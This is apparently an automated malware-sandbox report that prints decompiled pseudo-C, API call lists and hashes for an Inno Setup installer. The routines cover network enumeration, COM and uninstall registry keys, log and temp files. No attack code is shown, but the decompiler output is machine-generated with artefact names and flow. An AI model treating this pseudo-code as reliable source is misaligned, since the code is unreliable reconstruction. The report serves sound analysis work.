                                                          0x00407245
                                                          0x00000000
                                                          0x00407247
                                                          0x00407247
                                                          0x00407248
                                                          0x0040724a
                                                          0x00407252
                                                          0x00407259
                                                          0x00000000
                                                          0x00000000
                                                          0x004072bb
                                                          0x004072bc
                                                          0x004072bd
                                                          0x00000000
                                                          0x004072bf
                                                          0x00000000
                                                          0x004072bf
                                                          0x00000000
                                                          0x004072bd
                                                          0x00407286
                                                          0x00407291
                                                          0x0040729b
                                                          0x004072a9
                                                          0x004072aa
                                                          0x004072af
                                                          0x004072b4
                                                          0x004072b4
                                                          0x00407230
                                                          0x00407230
                                                          0x00407235
                                                          0x00407235
                                                          0x00000000
                                                          0x0040722e
                                                          0x0040721c
                                                          0x00407225
                                                          0x00000000
                                                          0x00407225
                                                          0x0040711e
                                                          0x0040711e
                                                          0x00407142
                                                          0x00407153
                                                          0x00407153
                                                          0x00407142
                                                          0x00407302
                                                          0x00407304
                                                          0x00407307
                                                          0x0040730a
                                                          0x0040731f

                                                          APIs
                                                          • WNetGetUniversalNameA.MPR(00000000,00000001,?,00000400), ref: 0040713B
                                                          • WNetOpenEnumA.MPR(00000001,00000001,00000000,00000000,?), ref: 004071B5
                                                          • WNetEnumResourceA.MPR(?,FFFFFFFF,?,?), ref: 0040720D
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Enum$NameOpenResourceUniversal
                                                          • String ID: Z
                                                          • API String ID: 3604996873-1505515367
                                                          • Opcode ID: 70bec3c067cc58fbcec5aff2d09dde69e7c82f4ad25056678ed06b9cde6aa3fd
                                                          • Instruction ID: ad34d675e623d51feda49522ab93970f133d2059fcd7fff8c9a607321cc22fb1
                                                          • Opcode Fuzzy Hash: 70bec3c067cc58fbcec5aff2d09dde69e7c82f4ad25056678ed06b9cde6aa3fd
                                                          • Instruction Fuzzy Hash: E25172B0E042099BDB11DF55C956A9FBBB9FB08304F1045BAF900B72D1C778AE41DB5A
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 80%
                                                          			E00431E5C(void* __eax, void* __ebx, void* __edx, void* __edi, void* __esi) {
                                                          				char _v8;
                                                          				char _v12;
                                                          				char _v274;
                                                          				char _v280;
                                                          				char _v284;
                                                          				struct HINSTANCE__* _t72;
                                                          				void* _t85;
                                                          				void* _t142;
                                                          				void* _t147;
                                                          				intOrPtr _t153;
                                                          				void* _t187;
                                                          				void* _t190;
                                                          
                                                          				_v280 = 0;
                                                          				_v284 = 0;
                                                          				_v8 = 0;
                                                          				_v12 = 0;
                                                          				_t147 = __edx;
                                                          				_t187 = __eax;
                                                          				_push(_t190);
                                                          				_push(0x4320e5);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t190 + 0xfffffee8;
                                                          				_t192 =  *((char*)(__eax + 0x24));
                                                          				if( *((char*)(__eax + 0x24)) != 0) {
                                                          					E004315E0(__eax + 0x10, 0,  &_v8);
                                                          					_t72 =  *0x48d014; // 0x400000
                                                          					E00403628( &_v12, GetModuleFileNameA(_t72,  &_v274, 0x106),  &_v274, _t192);
                                                          					if(_t147 == 0) {
                                                          						E004035DC( &_v280, "CLSID\\");
                                                          						E004036C4( &_v280, _v8);
                                                          						E004036C4( &_v280, 0x43212c);
                                                          						_push( &_v280);
                                                          						E00431654( &_v284);
                                                          						_pop(_t85);
                                                          						E004036C4(_t85, _v284);
                                                          						E0043163C(_v280);
                                                          						E004035DC( &_v280, "CLSID\\");
                                                          						E004036C4( &_v280, _v8);
                                                          						E004036C4( &_v280, "\\ProgID");
                                                          						E0043163C(_v280);
                                                          						E004035DC( &_v280, "CLSID\\");
                                                          						E004036C4( &_v280, _v8);
                                                          						E0043163C(_v280);
                                                          						E004035DC( &_v280,  *((intOrPtr*)(_t187 + 0xc)));
                                                          						E004036C4( &_v280, "\\Clsid");
                                                          						E0043163C(_v280);
                                                          						E0043163C( *((intOrPtr*)(_t187 + 0xc)));
                                                          					} else {
                                                          						E0043160C( *((intOrPtr*)(_t187 + 0xc)),  *((intOrPtr*)(_t187 + 0x20)));
                                                          						E004035DC( &_v280,  *((intOrPtr*)(_t187 + 0xc)));
                                                          						E004036C4( &_v280, "\\Clsid");
                                                          						E0043160C(_v280, _v8);
                                                          						E004035DC( &_v280, "CLSID\\");
                                                          						E004036C4( &_v280, _v8);
                                                          						E0043160C(_v280,  *((intOrPtr*)(_t187 + 0x20)));
                                                          						E004035DC( &_v280, "CLSID\\");
                                                          						E004036C4( &_v280, _v8);
                                                          						E004036C4( &_v280, "\\ProgID");
                                                          						E0043160C(_v280,  *((intOrPtr*)(_t187 + 0xc)));
                                                          						E004035DC( &_v280, "CLSID\\");
                                                          						E004036C4( &_v280, _v8);
                                                          						E004036C4( &_v280, 0x43212c);
                                                          						_push( &_v280);
                                                          						E00431654( &_v284);
                                                          						_pop(_t142);
                                                          						E004036C4(_t142, _v284);
                                                          						E0043160C(_v280, _v12);
                                                          					}
                                                          				}
                                                          				_pop(_t153);
                                                          				 *[fs:eax] = _t153;
                                                          				_push(E004320EC);
                                                          				E00403568( &_v284, 2);
                                                          				return E00403568( &_v12, 2);
                                                          			}















                                                          0x00431e6a
                                                          0x00431e70
                                                          0x00431e76
                                                          0x00431e79
                                                          0x00431e7c
                                                          0x00431e7e
                                                          0x00431e82
                                                          0x00431e83
                                                          0x00431e88
                                                          0x00431e8b
                                                          0x00431e8e
                                                          0x00431e92
                                                          0x00431e9e
                                                          0x00431eaf
                                                          0x00431ec5
                                                          0x00431ecc
                                                          0x00431fdb
                                                          0x00431fe9
                                                          0x00431ff9
                                                          0x00432004
                                                          0x0043200b
                                                          0x00432016
                                                          0x00432017
                                                          0x00432022
                                                          0x00432032
                                                          0x00432040
                                                          0x00432050
                                                          0x0043205b
                                                          0x0043206b
                                                          0x00432079
                                                          0x00432084
                                                          0x00432092
                                                          0x004320a2
                                                          0x004320ad
                                                          0x004320b5
                                                          0x00431ed2
                                                          0x00431ed8
                                                          0x00431ee6
                                                          0x00431ef6
                                                          0x00431f04
                                                          0x00431f14
                                                          0x00431f22
                                                          0x00431f30
                                                          0x00431f40
                                                          0x00431f4e
                                                          0x00431f5e
                                                          0x00431f6c
                                                          0x00431f7c
                                                          0x00431f8a
                                                          0x00431f9a
                                                          0x00431fa5
                                                          0x00431fac
                                                          0x00431fb7
                                                          0x00431fb8
                                                          0x00431fc6
                                                          0x00431fc6
                                                          0x00431ecc
                                                          0x004320bc
                                                          0x004320bf
                                                          0x004320c2
                                                          0x004320d2
                                                          0x004320e4

                                                          APIs
                                                            • Part of subcall function 004315E0: 76E37E10.OLE32(?,?,00000000,?,?,00431EA3,00000000,004320E5,?,?,?,?,?,00432278), ref: 004315E9
                                                            • Part of subcall function 004315E0: 76E3A680.OLE32(00000000,?,?,00000000,?,?,00431EA3,00000000,004320E5,?,?,?,?,?,00432278), ref: 00431601
                                                          • GetModuleFileNameA.KERNEL32(00400000,?,00000106,00000000,004320E5,?,?,?,?,?,00432278), ref: 00431EB5
                                                            • Part of subcall function 0043160C: 6CAA6840.ADVAPI32(80000000,00000000,00000001,00000000,00000000,?,?,00431EDD,00400000,?,00000106,00000000,004320E5,?,?,?), ref: 00431631
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A680A6840FileModuleName
                                                          • String ID: CLSID\$\Clsid$\ProgID
                                                          • API String ID: 2724410669-3614834358
                                                          • Opcode ID: fc2952e9214e0fc1254525acca68679531bb6c26c1e767de4bfb6949048bf057
                                                          • Instruction ID: e59933bfd9215b6f2d74a14d8c996167f79c46d15c19afc275c682f12f2ed002
                                                          • Opcode Fuzzy Hash: fc2952e9214e0fc1254525acca68679531bb6c26c1e767de4bfb6949048bf057
                                                          • Instruction Fuzzy Hash: 42512370A0011C9BCB25EF51CA43ACDB7B9AF48705F5085FBA504A33A1DB78AF45CE69
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 51%
                                                          			E0042E8C4(void* __eax, void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags, intOrPtr* _a4) {
                                                          				intOrPtr _v8;
                                                          				struct HDC__* _v12;
                                                          				char _v16;
                                                          				char _v20;
                                                          				char _v24;
                                                          				struct HDC__* _t54;
                                                          				void* _t63;
                                                          				intOrPtr _t81;
                                                          				void* _t84;
                                                          				void* _t86;
                                                          				void* _t87;
                                                          				intOrPtr _t89;
                                                          				intOrPtr _t90;
                                                          
                                                          				_t67 = __ecx;
                                                          				_t89 = _t90;
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(__ebx);
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_t84 = __ecx;
                                                          				_v8 = __edx;
                                                          				_t86 = __eax;
                                                          				_t66 = _a4;
                                                          				_push(_t89);
                                                          				_push(0x42ea17);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t90;
                                                          				_push(0);
                                                          				L00406034();
                                                          				_v12 = 0;
                                                          				_push(_t89);
                                                          				_push(0x42e9f5);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t90;
                                                          				SelectObject(_v12, E0041A400(_v8, _a4, __ecx, __ecx, __eax));
                                                          				E004035DC(_a4, _t86);
                                                          				E0042CA40( *_t66, _t67,  &_v20);
                                                          				E0042CA18( *_t66, _t67,  &_v24);
                                                          				_t87 = E0042C7A8();
                                                          				if(_t87 < E004036BC(_v20)) {
                                                          					_t63 =  *((intOrPtr*)(_v20 + _t87)) - 0x2f;
                                                          					if(_t63 == 0 || _t63 == 0x2d) {
                                                          						_t87 = _t87 + 1;
                                                          					}
                                                          				}
                                                          				E004038C0(_v20, _t87, 1,  &_v16);
                                                          				E00403900( &_v20, _t87, 1);
                                                          				while(_v20 != 0 || _v16 != 0) {
                                                          					if(_t84 < E0042E5A8(_v12, _t66, 0,  *_t66, _t84, _t87)) {
                                                          						if(_v20 != 0) {
                                                          							E0042E810( &_v20, _t66, _t84, _t87);
                                                          						}
                                                          						if(_v20 == 0 && _v16 != 0) {
                                                          							E00403548( &_v16);
                                                          							E004035DC( &_v20, 0x42ea30);
                                                          						}
                                                          						_push(_v16);
                                                          						_push(_v20);
                                                          						_push(_v24);
                                                          						E0040377C();
                                                          						continue;
                                                          					}
                                                          					break;
                                                          				}
                                                          				_pop(_t81);
                                                          				 *[fs:eax] = _t81;
                                                          				_push(0x42e9fc);
                                                          				_t54 = _v12;
                                                          				_push(_t54);
                                                          				_push(0);
                                                          				L0040621C();
                                                          				return _t54;
                                                          			}
















                                                          0x0042e8c4
                                                          0x0042e8c5
                                                          0x0042e8c7
                                                          0x0042e8c9
                                                          0x0042e8cb
                                                          0x0042e8cd
                                                          0x0042e8cf
                                                          0x0042e8d1
                                                          0x0042e8d2
                                                          0x0042e8d3
                                                          0x0042e8d4
                                                          0x0042e8d6
                                                          0x0042e8d9
                                                          0x0042e8db
                                                          0x0042e8e0
                                                          0x0042e8e1
                                                          0x0042e8e6
                                                          0x0042e8e9
                                                          0x0042e8ec
                                                          0x0042e8ee
                                                          0x0042e8f3
                                                          0x0042e8f8
                                                          0x0042e8f9
                                                          0x0042e8fe
                                                          0x0042e901
                                                          0x0042e911
                                                          0x0042e91a
                                                          0x0042e924
                                                          0x0042e92e
                                                          0x0042e93b
                                                          0x0042e947
                                                          0x0042e94f
                                                          0x0042e951
                                                          0x0042e957
                                                          0x0042e957
                                                          0x0042e951
                                                          0x0042e966
                                                          0x0042e975
                                                          0x0042e9c0
                                                          0x0042e9da
                                                          0x0042e980
                                                          0x0042e985
                                                          0x0042e985
                                                          0x0042e98e
                                                          0x0042e999
                                                          0x0042e9a6
                                                          0x0042e9a6
                                                          0x0042e9ab
                                                          0x0042e9ae
                                                          0x0042e9b1
                                                          0x0042e9bb
                                                          0x00000000
                                                          0x0042e9bb
                                                          0x00000000
                                                          0x0042e9da
                                                          0x0042e9de
                                                          0x0042e9e1
                                                          0x0042e9e4
                                                          0x0042e9e9
                                                          0x0042e9ec
                                                          0x0042e9ed
                                                          0x0042e9ef
                                                          0x0042e9f4

                                                          APIs
                                                          • 72E5AC50.USER32(00000000,00000000,0042EA17,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 0042E8EE
                                                            • Part of subcall function 0041A400: CreateFontIndirectA.GDI32(?), ref: 0041A4BF
                                                          • SelectObject.GDI32(?,00000000), ref: 0042E911
                                                          • 72E5B380.USER32(00000000,?,0042E9FC,00000000,0042E9F5,?,00000000,00000000,0042EA17,?,?,?,?,00000000,00000000,00000000), ref: 0042E9EF
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: B380CreateFontIndirectObjectSelect
                                                          • String ID: ...\
                                                          • API String ID: 1304862298-983595016
                                                          • Opcode ID: 8e49df5a06c53d855527ebaf7ea042df66f5ba8396f40c5ba01a9e4b5a8ae17b
                                                          • Instruction ID: 983fc3d8c6e590b39f068f7f7a14ce2427bf6c10f89b92f47cd2e41a81d247c1
                                                          • Opcode Fuzzy Hash: 8e49df5a06c53d855527ebaf7ea042df66f5ba8396f40c5ba01a9e4b5a8ae17b
                                                          • Instruction Fuzzy Hash: 4C3163B0B00129AFDB10EB9AD841BAEB7B8EF49304F91447BF400A7291D7789E41CB59
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 77%
                                                          			E004555EC(signed int __eax, void* __ebx, void* __ecx, void* __edi, void* __esi) {
                                                          				signed int _v8;
                                                          				char _v12;
                                                          				signed int _v16;
                                                          				char _v20;
                                                          				signed int _v24;
                                                          				intOrPtr _v28;
                                                          				struct _SYSTEMTIME _v44;
                                                          				char _v48;
                                                          				signed int _v52;
                                                          				char _v56;
                                                          				signed int _v60;
                                                          				char _v64;
                                                          				signed int _v68;
                                                          				char _v72;
                                                          				intOrPtr _t88;
                                                          				void* _t99;
                                                          				void* _t100;
                                                          				intOrPtr _t101;
                                                          
                                                          				_t97 = __esi;
                                                          				_t96 = __edi;
                                                          				_t77 = __ebx;
                                                          				_t99 = _t100;
                                                          				_t101 = _t100 + 0xffffffbc;
                                                          				_push(__ebx);
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_v72 = 0;
                                                          				_v12 = 0;
                                                          				_v16 = 0;
                                                          				_v20 = 0;
                                                          				_v8 = __eax;
                                                          				_push(_t99);
                                                          				_push(0x455759);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t101;
                                                          				_t102 =  *0x48df04;
                                                          				if( *0x48df04 == 0) {
                                                          					E0042D990( &_v12, __ebx, __ecx, __edi, __esi);
                                                          					GetLocalTime( &_v44);
                                                          					_v68 = _v44.wYear & 0x0000ffff;
                                                          					_v64 = 0;
                                                          					_v60 = _v44.wMonth & 0x0000ffff;
                                                          					_v56 = 0;
                                                          					_v52 = _v44.wDay & 0x0000ffff;
                                                          					_v48 = 0;
                                                          					E00407B08("%.4u-%.2u-%.2u", 2,  &_v68,  &_v16);
                                                          					_v24 = 1;
                                                          					while(1) {
                                                          						_v68 = _v8;
                                                          						_v64 = 0xb;
                                                          						_v60 = _v16;
                                                          						_v56 = 0xb;
                                                          						_v52 = _v24;
                                                          						_v48 = 0;
                                                          						E00407B08("%s Log %s #%.3u.txt", 2,  &_v68,  &_v72);
                                                          						E00403708( &_v20, _v72, _v12);
                                                          						if(E0042CE3C(_v20, _t102) != 0) {
                                                          							goto L6;
                                                          						}
                                                          						_v28 = 0;
                                                          						_push(_t99);
                                                          						_push(0x4556f3);
                                                          						_push( *[fs:edx]);
                                                          						 *[fs:edx] = _t101;
                                                          						_v28 = E0044FF24(_v20, 1, 1, 1, 1);
                                                          						 *[fs:eax] = 0;
                                                          						if(_v28 == 0) {
                                                          							goto L6;
                                                          						}
                                                          						 *0x48df04 = _v28;
                                                          						E00455814("Log opened.", _t77, _t96, _t97);
                                                          						goto L8;
                                                          						L6:
                                                          						_v24 = _v24 + 1;
                                                          					}
                                                          				}
                                                          				L8:
                                                          				_pop(_t88);
                                                          				 *[fs:eax] = _t88;
                                                          				_push(E00455760);
                                                          				E00403548( &_v72);
                                                          				return E00403568( &_v20, 3);
                                                          			}





















                                                          0x004555ec
                                                          0x004555ec
                                                          0x004555ec
                                                          0x004555ed
                                                          0x004555ef
                                                          0x004555f2
                                                          0x004555f3
                                                          0x004555f4
                                                          0x004555f7
                                                          0x004555fa
                                                          0x004555fd
                                                          0x00455600
                                                          0x00455603
                                                          0x00455608
                                                          0x00455609
                                                          0x0045560e
                                                          0x00455611
                                                          0x00455614
                                                          0x0045561b
                                                          0x00455624
                                                          0x0045562d
                                                          0x0045563a
                                                          0x0045563d
                                                          0x00455645
                                                          0x00455648
                                                          0x00455650
                                                          0x00455653
                                                          0x00455664
                                                          0x00455669
                                                          0x00455670
                                                          0x00455677
                                                          0x0045567a
                                                          0x00455681
                                                          0x00455684
                                                          0x0045568b
                                                          0x0045568e
                                                          0x0045569f
                                                          0x004556ad
                                                          0x004556bc
                                                          0x00000000
                                                          0x00000000
                                                          0x004556c0
                                                          0x004556c5
                                                          0x004556c6
                                                          0x004556cb
                                                          0x004556ce
                                                          0x004556e6
                                                          0x004556ee
                                                          0x00455718
                                                          0x00000000
                                                          0x00000000
                                                          0x0045571d
                                                          0x00455731
                                                          0x00000000
                                                          0x00455724
                                                          0x00455724
                                                          0x00455724
                                                          0x00455670
                                                          0x00455736
                                                          0x00455738
                                                          0x0045573b
                                                          0x0045573e
                                                          0x00455746
                                                          0x00455758

                                                          APIs
                                                          • GetLocalTime.KERNEL32(?,00000000,00455759,?,?,00000000,00000000,?,0048B38E,00000000,0048B3B6), ref: 0045562D
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: LocalTime
                                                          • String ID: %.4u-%.2u-%.2u$%s Log %s #%.3u.txt$Log opened.
                                                          • API String ID: 481472006-3806465849
                                                          • Opcode ID: 0c306130f1ef2792e5f90561c87c6241410c5e2e5fc7fd7511b713f76a08454d
                                                          • Instruction ID: 354e8cb2dea216f4d243c521c570f91bad9375b759ab0410bebfaba155fc833e
                                                          • Opcode Fuzzy Hash: 0c306130f1ef2792e5f90561c87c6241410c5e2e5fc7fd7511b713f76a08454d
                                                          • Instruction Fuzzy Hash: BC414A70D00648EFDB00DFA9D8917EEBBF5EB49304F50806AE804B7292D7795A49CB65
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 44%
                                                          			E00451FB0(char __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
                                                          				char _v8;
                                                          				intOrPtr _v12;
                                                          				char _v13;
                                                          				signed int _v20;
                                                          				char _v24;
                                                          				char _v28;
                                                          				void* _t44;
                                                          				void* _t61;
                                                          				signed int _t64;
                                                          				intOrPtr _t78;
                                                          				void* _t83;
                                                          				void* _t86;
                                                          
                                                          				_t65 = 0;
                                                          				_v24 = 0;
                                                          				_v28 = 0;
                                                          				_v20 = 0;
                                                          				_v12 = __edx;
                                                          				_v8 = __eax;
                                                          				E00403870(_v8);
                                                          				_push(_t86);
                                                          				_push(0x4520ea);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t86 + 0xffffffe8;
                                                          				E0042C614(_v8,  &_v24);
                                                          				E004035DC( &_v8, _v24);
                                                          				_t83 = 0x123456;
                                                          				_t64 = 0;
                                                          				_v13 = 0;
                                                          				do {
                                                          					_t83 = _t83 + 1;
                                                          					if(_t83 > 0x1ffffff) {
                                                          						_t83 = 0;
                                                          					}
                                                          					_t91 = 0x123456 - _t83;
                                                          					if(0x123456 == _t83) {
                                                          						E0042CC98(_v8, _t65,  &_v28, _t91);
                                                          						E00450C5C(0x45,  &_v24, _v28);
                                                          						_t65 = _v24;
                                                          						E00408DF0(_v24, 1);
                                                          						E00403264();
                                                          					}
                                                          					_push(_v8);
                                                          					_push("_iu");
                                                          					E00451E30(_t83, _t64,  &_v24, 0x123456, _t83);
                                                          					_push(_v24);
                                                          					_push(".tmp");
                                                          					E0040377C();
                                                          					_t44 = E0042CE28(_t91);
                                                          					_t92 = _t44;
                                                          					if(_t44 == 0) {
                                                          						_t64 = 1;
                                                          						_v13 = E0042CE14(_t92);
                                                          						if(_v13 != 0) {
                                                          							_push(0);
                                                          							_push(0x80);
                                                          							_push(2);
                                                          							_push(0);
                                                          							_push(0);
                                                          							_push(0xc0000000);
                                                          							_t61 = E00403880(_v20);
                                                          							_push(_t61);
                                                          							L00405964();
                                                          							_t64 = 0 | _t61 != 0xffffffff;
                                                          							if(1 != 0) {
                                                          								CloseHandle(_t61);
                                                          							}
                                                          						}
                                                          					}
                                                          				} while (_t64 == 0);
                                                          				E00403598(_v12, _t64, _v20, 0x123456, _t83);
                                                          				_pop(_t78);
                                                          				 *[fs:eax] = _t78;
                                                          				_push(E004520F1);
                                                          				E00403568( &_v28, 3);
                                                          				return E00403548( &_v8);
                                                          			}















                                                          0x00451fb9
                                                          0x00451fbb
                                                          0x00451fbe
                                                          0x00451fc1
                                                          0x00451fc4
                                                          0x00451fc7
                                                          0x00451fcd
                                                          0x00451fd4
                                                          0x00451fd5
                                                          0x00451fda
                                                          0x00451fdd
                                                          0x00451fe6
                                                          0x00451ff1
                                                          0x00451ffb
                                                          0x00451ffd
                                                          0x00451fff
                                                          0x00452003
                                                          0x00452003
                                                          0x0045200a
                                                          0x0045200c
                                                          0x0045200c
                                                          0x0045200e
                                                          0x00452010
                                                          0x00452018
                                                          0x00452025
                                                          0x0045202a
                                                          0x00452034
                                                          0x00452039
                                                          0x00452039
                                                          0x0045203e
                                                          0x00452041
                                                          0x0045204b
                                                          0x00452050
                                                          0x00452053
                                                          0x00452060
                                                          0x00452068
                                                          0x0045206d
                                                          0x0045206f
                                                          0x00452071
                                                          0x0045207b
                                                          0x00452082
                                                          0x00452084
                                                          0x00452086
                                                          0x0045208b
                                                          0x0045208d
                                                          0x0045208f
                                                          0x00452091
                                                          0x00452099
                                                          0x0045209e
                                                          0x0045209f
                                                          0x004520a7
                                                          0x004520ac
                                                          0x004520af
                                                          0x004520af
                                                          0x004520ac
                                                          0x00452082
                                                          0x004520b4
                                                          0x004520c2
                                                          0x004520c9
                                                          0x004520cc
                                                          0x004520cf
                                                          0x004520dc
                                                          0x004520e9

                                                          APIs
                                                          • 6CAA5CA0.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,004896C9,_iu,?,00000000,004520EA), ref: 0045209F
                                                          • CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,004896C9,_iu,?,00000000,004520EA), ref: 004520AF
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: CloseHandle
                                                          • String ID: .tmp$_iu
                                                          • API String ID: 2962429428-10593223
                                                          • Opcode ID: bf9e2311ef352c2b20d2414b5c3cdec807754aeb0dc3f7a745989eca53ef0f47
                                                          • Instruction ID: 516a93afdce691cb25051af6565f2beb051f36453d0a210f228e3865ead176ed
                                                          • Opcode Fuzzy Hash: bf9e2311ef352c2b20d2414b5c3cdec807754aeb0dc3f7a745989eca53ef0f47
                                                          • Instruction Fuzzy Hash: 8D31B370A00219ABCB10EBA5C942B9EB7B5AF05709F20416BF910B73D2D6785F05CA6D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 75%
                                                          			E004859C8(void* __eax, void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, intOrPtr _a4) {
                                                          				intOrPtr _v8;
                                                          				void* _v12;
                                                          				char _v16;
                                                          				char _v20;
                                                          				char _v24;
                                                          				intOrPtr _v28;
                                                          				char _v32;
                                                          				char* _v36;
                                                          				void* _t38;
                                                          				intOrPtr _t39;
                                                          				void* _t55;
                                                          				intOrPtr* _t56;
                                                          				intOrPtr _t67;
                                                          				intOrPtr _t75;
                                                          				void* _t80;
                                                          				void* _t82;
                                                          				void* _t83;
                                                          				intOrPtr _t84;
                                                          
                                                          				_t57 = __ecx;
                                                          				_t82 = _t83;
                                                          				_t84 = _t83 + 0xffffffe0;
                                                          				_v20 = 0;
                                                          				_v16 = 0;
                                                          				_v8 = __edx;
                                                          				_t55 = __eax;
                                                          				_push(_t82);
                                                          				_push(0x485ae1);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t84;
                                                          				E004035DC(_a4, __ecx);
                                                          				if(_t55 == 0) {
                                                          					L5:
                                                          					_pop(_t67);
                                                          					 *[fs:eax] = _t67;
                                                          					_push(0x485ae8);
                                                          					return E00403568( &_v20, 2);
                                                          				} else {
                                                          					E0046EBF4(_t55, _t57,  &_v16);
                                                          					_t80 = 2;
                                                          					_t56 = 0x48cef4;
                                                          					while(1) {
                                                          						_v36 = "Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall";
                                                          						_v32 = 0xb;
                                                          						_v28 = _v16;
                                                          						_v24 = 0xb;
                                                          						E00407B08("%s\\%s_is1", 1,  &_v36,  &_v20);
                                                          						_t38 = E00403880(_v20);
                                                          						_t39 =  *0x48cb0c; // 0x1
                                                          						if(E0042DD88(_t39, _t38,  *_t56,  &_v12, 1, 0) == 0) {
                                                          							break;
                                                          						}
                                                          						_t56 = _t56 + 4;
                                                          						_t80 = _t80 - 1;
                                                          						if(_t80 != 0) {
                                                          							continue;
                                                          						} else {
                                                          							goto L5;
                                                          						}
                                                          						goto L6;
                                                          					}
                                                          					_push(_t82);
                                                          					_push(0x485ab5);
                                                          					_push( *[fs:eax]);
                                                          					 *[fs:eax] = _t84;
                                                          					E004035DC( &_v20, "Inno Setup CodeFile: ");
                                                          					E004036C4( &_v20, _v8);
                                                          					E00403880(_v20);
                                                          					E0042DCB8();
                                                          					_pop(_t75);
                                                          					 *[fs:eax] = _t75;
                                                          					_push(0x485ac6);
                                                          					return RegCloseKey(_v12);
                                                          				}
                                                          				L6:
                                                          			}





















                                                          0x004859c8
                                                          0x004859c9
                                                          0x004859cb
                                                          0x004859d3
                                                          0x004859d6
                                                          0x004859db
                                                          0x004859de
                                                          0x004859e5
                                                          0x004859e6
                                                          0x004859eb
                                                          0x004859ee
                                                          0x004859f5
                                                          0x004859fc
                                                          0x00485ac6
                                                          0x00485ac8
                                                          0x00485acb
                                                          0x00485ace
                                                          0x00485ae0
                                                          0x00485a02
                                                          0x00485a07
